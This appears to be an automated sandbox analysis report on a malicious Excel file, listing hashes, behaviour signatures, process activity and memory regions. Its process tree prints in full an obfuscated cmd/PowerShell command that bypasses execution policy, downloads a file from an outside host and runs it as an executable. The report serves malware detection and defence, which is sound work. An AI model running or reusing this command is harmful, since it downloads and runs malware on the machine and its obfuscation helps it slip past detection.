Analysis

  • max time kernel
    47s
  • max time network
    37s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 22:20

General

  • Target

    3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls

  • Size

    72KB

  • MD5

    2de767f38788217a8265ee15b91e5bb9

  • SHA1

    f9ee5c0226f01e061bee62e20514ea568bf3165f

  • SHA256

    3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3

  • SHA512

    1312b523aab8bd701228ff95a05c96fc9b14047d1496c7b10b780c7d40c0203b095477805fc24a1dafc18270e897145ee7cbd7ff675df7179faaba11df4b5bcb

  • SSDEEP

    1536:AaOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:AaOadvxHlcaAy0iWYOcG4BDhnxD7oOEe

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1420
    • C:\Windows\SYSTEM32\CMd.exe
      CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4048
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hxbnprjj.kh0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    a1cc47577ae96474a22fca1b2662dc42

    SHA1

    28e2e862446d71ffed9f6413413239f36e9a3486

    SHA256

    1ca37f1dd9e7c9846d64db9800a60325bc374969a3f4b87d2f1e702ee9d1bd4c

    SHA512

    6981579ad9255c5cb9fd1dc1c0194e6bc0429257a9bb4a4111b41a17cf4ddae1206814195453168353e8b91a8ba0547df83de0e60f9943406756b55d5d41a7ea

  • memory/1420-9-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-158-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-15-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-5-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

    Filesize

    64KB

  • memory/1420-8-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-7-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-0-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

    Filesize

    64KB

  • memory/1420-12-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-11-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-14-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-16-0x00007FFE39870000-0x00007FFE39880000-memory.dmp

    Filesize

    64KB

  • memory/1420-18-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-19-0x00007FFE39870000-0x00007FFE39880000-memory.dmp

    Filesize

    64KB

  • memory/1420-17-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-6-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-10-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-3-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

    Filesize

    64KB

  • memory/1420-4-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

    Filesize

    64KB

  • memory/1420-84-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-127-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-13-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-157-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-2-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

    Filesize

    64KB

  • memory/1420-156-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-1-0x00007FFE7C18D000-0x00007FFE7C18E000-memory.dmp

    Filesize

    4KB

  • memory/1420-153-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/1420-154-0x00007FFE7C18D000-0x00007FFE7C18E000-memory.dmp

    Filesize

    4KB

  • memory/1420-155-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4820-144-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4820-133-0x0000015F4D150000-0x0000015F4D172000-memory.dmp

    Filesize

    136KB

  • memory/4820-131-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

    Filesize

    2.0MB